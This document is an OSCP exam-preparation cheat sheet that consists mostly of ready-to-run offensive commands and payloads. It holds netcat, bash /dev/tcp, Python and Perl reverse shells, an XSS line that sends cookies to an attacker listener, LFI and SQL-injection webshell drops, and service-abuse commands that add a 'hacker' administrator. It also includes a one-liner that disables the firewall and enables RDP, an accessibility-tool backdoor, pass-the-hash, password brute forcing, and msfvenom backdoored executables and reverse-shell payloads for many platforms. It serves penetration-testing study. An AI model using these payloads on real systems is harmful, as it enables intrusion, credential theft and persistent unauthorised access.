Go-For-OSCP

I want to share a couple of things that I think helped me preparing the Offensive Security Certified Professional - OSCP certification and what I found useful during the labs and exam. If you have any questions, feel free to contact me.

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Tips

Enable service on every reboot:

update-rc.d <[SERVICE]> enable

Extract link from html page:

cat index.html | grep "href=" | cut -d "/" -f3| grep "<[DOMAIN]>" | cut -d '"' -f1 | sort -u

Netcat

Interact with application:

nc -nv <[IP]> <[PORT]>

Listener:

nc -nlvp <[PORT]>

File transfer (client):

nc -nlvp <[PORT]> > <[FILE]>

File transfer (server):

nc -nv <[IP]> <[PORT]> < <[FILE_TO_SEND]>

Bind vs Reverse Shell

Bind Shell:

Bob needs Alice's help. Bob set up a listener on port 4444 with -e parameter:

(BOB): nc -nlvp <[PORT]> -e cmd.exe

(ALICE): nc -nv <[BOB_IP]> <[PORT]>

Reverse Shell:

Alice needs Bob's help. Since Alice is beyond firewall it is impossible to BOB to reach Alice. So Alice create a reverse shell:

(ALICE): nc -nv <[BOB_IP]> <[PORT]> -e /bin/bash

(BOB): nc -nlvp <[PORT]>

Zone Transfer

dnsrecon -t axfr -d <[DOMAIN]>

Nmap

nmap -sS -sV -A -O --script="*-vuln-*" --script-args=unsafe=1 <[IP]>

SMB

nbtscan <[SUBNET]>

nmap -p139,445 --script smb-enum-users <[SUBNET]>

nmap -p139,445 --script=smb-vuln-* --script-args=unsafe=1 <[SUBNET]>

enum4linux

smbclient -L <[IP]> -N

smbclient \\<[IP]>\share -N

SMTP

nmap -p25 <[SUBNET]> --open

nc -nv IP 25

VRFY <[USERNAME]>

SNMP

Steps: nmap scan udp 161, create target IP list, create community list file, use onesixtyone + snmpwalk

nmap -sU --open -p161 <[SUBNET]> --open

onesixtyone -c community -i <[SMNP_IP_LIST]>

snmpwalk -c public -v1 <[IP]> <mib-values>

Mib-values (for snmpwalk):

1.3.6.1.2.1.25.1.6.0 System Processes

1.3.6.1.2.1.25.4.2.1.2 Running Programs

1.3.6.1.2.1.25.4.2.1.4 Processes Path

1.3.6.1.2.1.25.2.3.1.4 Storage Units

1.3.6.1.2.1.25.6.3.1.2 Software Name

1.3.6.1.4.1.77.1.2.25 User

1.3.6.1.2.1.6.13.1.3 TCP Local Ports

File Transfer Linux

Netcat:

On Victim machine (client):

nc -nlvp 4444 > <[FILE]>

On Attacker machine (server):

nc -nv 10.11.17.9 4444 < <[FILE_TO_SEND]>

Curl:

curl -O http://<[IP]>/<[FILE]>

Wget:

wget http://<[IP]>/<[FILE]>

Recursive wget ftp download:

wget -r ftp://<[USER]>:<[PASSWORD]>@<[DOMAIN]>

File Transfer Windows

TFTP (Installed by default up to Windows XP and 2003, In Windows 7, 2008 and above needs to be explicitly added. For this reason tftp not ideal file transfer protocol in most situations.)

On attacker machine:

mkdir tftp

atftpd --deamon --port 69 tftp

cp <[FILE]> tftp

On victim machine shell:

tftp -i <[IP]> GET <[FILE]>

FTP (Windows operating systems contain a default FTP client that can also be used for file transfer)

On attacker machine:

(UNA TANTUM) Install a ftp server. apt-get install pure-ftpd

(UNA TANTUM) Create new user for PureFTPD (see script setup-ftp.sh) (USER demo, PASS demo1234)

	groupadd ftgroup

	useradd -g ftpgroup -d /dev/null -s /etc ftpuser

	pure-pw useradd demo -u ftpuser -d /ftphome

	pure-pw mkdb

	cd /etc/pure-ftpd/auth

	ln -s ../conf/PureDB 60pdb

	mkdir -p /ftphome

	chown -R ftpuser:ftpgroup /ftphome

	/etc/init.d/pure-ftpd restart

(UNA TANTUM) chmod 755 setup-ftp.sh

On victim machine shell:

echo open <[IP]> 21 > ftp.txt

echo USER demo >> ftp.txt

echo ftp >> ftp.txt

echo bin >> ftp.txt

echo GET nc.exe >> ftp.txt

echo bye >> ftp.txt

ftp -v -n -s:ftp.txt

VBScript (in Windows XP, 2003)

On victim machine shell:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs &

echo StrFile = WScript.Arguments.Item(1) >> wget.vbs &

echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs &

echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs &

echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs &

echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs &

echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs &

echo Err.Clear >> wget.vbs &

echo Set http = Nothing >> wget.vbs &

echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs &

echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs &

echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs &

echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs &

echo http.Open "GET", strURL, False >> wget.vbs &

echo http.Send >> wget.vbs &

echo varByteArray = http.ResponseBody >> wget.vbs &

echo Set http = Nothing >> wget.vbs &

echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs &

echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs &

echo strData = "" >> wget.vbs &

echo strBuffer = "" >> wget.vbs &

echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs &

echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter +1, 1))) >> wget.vbs &

echo Next >> wget.vbs &

echo ts.Close >> wget.vbs

cscript wget.vbs http://<[IP]>/<[FILE]> <[FILE_NAME]>

Powershell (In Windows 7, 2008 and above)

On victim machine shell:

echo $storageDir = $pwd > wget.ps1

echo $webclient = New-Object System.Net.WebClient >> wget.ps1

echo $url = "http://<[IP]>/<[FILE]>" >> wget.ps1

echo $file = "evil.exe" >> wget.ps1

echo $webclient.DownloadFile($url,$file) >> wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Debug.exe utility (In Windows 32bit OS - Works only for file < 64Kb)

On attacker machine:

cp <[FILE]> .

upx -9 <[FILE]> (for compression)

cp /usr/share/windows-binaries/exe2bat.exe .

wine exe2bat <[FILE]> <[FILE.txt]>

On victim machine:

Paste the content of <[FILE.txt]>

XSS

Stole cookie from xss:

On attacker machine set listener (nc -nlvp <[PORT]>)

On victim website <script>new Image().src="http://<[IP]>:<[PORT]>/test.php?output="+document.cookie;</script>

LFI/RFI

Connect via netcat to victim (nc -nv <[IP]> <[PORT]>) and send <?php echo shell_exec($_GET['cmd']);?>, after that try to include log file for code execution.

&cmd=nc -nv <[IP]> <[PORT]> -e cmd.exe&LANG=../../../../../../../xampp/apache/logs/access.log%00

SQL Injection

Bse:

any' or 1=1 limit 1;--

Number of columns:

order by 1, order by 2, ...

Expose data from database:

UNION select 1,2,3,4,5,6

Enum tables:

UNION select 1,2,3,4,table_name,6 FROM information_schema.tables

Shell upload:

<[IP]>:<[PORT]>/<[URL]>.php?<[PARAMETER]>=999 union select 1,2,"<?php echo shell_exec($_GET['cmd']);?>",4,5,6 into OUTFILE '/var/www/html/evil.php'

Buffer Overflow

/usr/share/metasploit-framework/tools/pattern_create.rb <[LENGTH]>

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -<[ADDRESS]>

Privilege Escalation

Vulnerable Services

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

sc qc <[VULNERABLE_SERVICE]>

sc config <[VULNERABLE_SERVICE]> obj= ".\LocalSystem" password= ""

sc config <[VULNERABLE_SERVICE]> start= "auto"

sc config <[VULNERABLE_SERVICE]> binpath= "net user hacker Hacker123 /add"

sc stop <[VULNERABLE_SERVICE]>

sc start <[VULNERABLE_SERVICE]>

sc config <[VULNERABLE_SERVICE]> binpath= "net localgroup administrator hacker /add"

sc stop <[VULNERABLE_SERVICE]>

sc start <[VULNERABLE_SERVICE]>

sc config <[VULNERABLE_SERVICE]> binpath= "net localgroup \"Remote Desktop Users\" hacker /add"

sc stop <[VULNERABLE_SERVICE]>

sc start <[VULNERABLE_SERVICE]>

Win10:

reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f 

Then ctrl+alt+canc and start virtual keyboard

Pass the hash

Export SMBHASH=<[HASH]>

pth-winexe -U administrator% //<[IP]> cmd

Cracking

Medusa

medusa -h 10.11.1.227 -U lab-users.txt -P lab-passwords.txt -M ftp | grep "ACCOUNT FOUND"

Ncrack (FTP, SSH, TELNET, HTTP(S), POP3(S), SMB, RDP, VNC)

ncrack -U <[USERS_LIST]> -P <[PASSWORDS_LIST]> ftp://<[IP]>

Firewall

Enable Remote Desktop:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh firewall set service remotedesktop enable

Enable Remote assistance:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

netsh firewall set service remoteadmin enable

Disable firewall:

netsh firewall set opmode disable

One shot ninja combo (New Admin User, Firewall Off + RDP):

set CMD "net user hacker Hacker123 /add & net localgroup administrators hacker /add & net localgroup \"Remote Desktop Users\" 	hacker /add & reg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall set opmode disable"

Backdooring EXE Files

msfvenom -a x86 -x <[FILE]> -k -p windows/meterpreter/reverse_tcp lhost=10.11.0.88 lport=443 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o <[FILE_NAME]>

Binaries payloads

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f elf > <[FILE_NAME.elf]>

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f exe > <[FILE_NAME.exe]>

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f macho > <[FILE_NAME.macho]>

Web payloads

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f raw > <[FILE_NAME.php]>
cat <[FILE_NAME.php]> | pbcopy && echo '<?php ' | tr -d '\n' > <[FILE_NAME.php]> && pbpaste >> <[FILE_NAME.php]>

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f asp > <[FILE_NAME.asp]>

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f raw > <[FILE_NAME.jsp]>

WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f war > <[FILE_NAME.war]>

Scripting Payloads

Python:

msfvenom -p cmd/unix/reverse_python LHOST=<[IP]> LPORT=<[PORT]> -f raw > <[FILE_NAME.py]>

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=<[IP]> LPORT=<[PORT]> -f raw > <[FILE_NAME.sh]>

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<[IP]> LPORT=<[PORT]> -f raw > <[FILE_NAME.pl]>

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f <[LANGUAGE]>

Windows Based Shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f <[LANGUAGE]>

Mac Based Shellcode:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -f <[LANGUAGE]>

Staged vs Non-Staged Payloads

Staged payload: (useful for bof) (need multi_handler metasploit in order to works)

Windows/shell/reverse_tcp

msfvenom -a x86 -p linux/x86/shell/reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -b "\x00" -f elf -o <[FILE_NAME_STAGED]>

Non-staged: (ok with netcat listener)

Windows/shell_reverse_tcp

msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=<[IP]> LPORT=<[PORT]> -b "\x00" -f elf -o <[FILE_NAME_NON_STAGED]>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler

set PAYLOAD <[PAYLOAD_NAME]>

set LHOST <[IP]>

set LPORT <[PORT]>

set ExitOnSession false

exploit -j -z

Shell Spawning

Python:

python -c 'import pty; pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<[IP]>",<[PORT]>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Bash:

echo os.system('/bin/bash')

/bin/sh -i

exec 5<>/dev/tcp/<[IP]>/<[PORT]> cat <&5 | while read line; do $line 2>&5 >&5; done

Perl:

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

perl -e 'use Socket;$i="<[IP]>";$p=<[PORT]>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Telnet:

mknod /tmp/yyy p && /bin/bash 0</tmp/yyy | telnet <[IP]> <[PORT]> 1>/tmp/yyy

Ruby:

ruby: exec "/bin/sh"

Lua:

lua: os.execute('/bin/sh')

From within IRB:

exec "/bin/sh"

From within vi:

:!bash

From within vi:

:set shell=/bin/bash:shell

From within nmap:

!sh

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SMTP

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XSS

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SQL Injection

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Privilege Escalation

Pass the hash

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Tips

Netcat

Bind vs Reverse Shell

Zone Transfer

Nmap

SMB

SMTP

SNMP

File Transfer Linux

File Transfer Windows

XSS

LFI/RFI

SQL Injection

Buffer Overflow

Privilege Escalation

Pass the hash

Cracking

Firewall

Backdooring EXE Files

Binaries payloads

Web payloads

Scripting Payloads

Shellcode

Staged vs Non-Staged Payloads

Handlers

Shell Spawning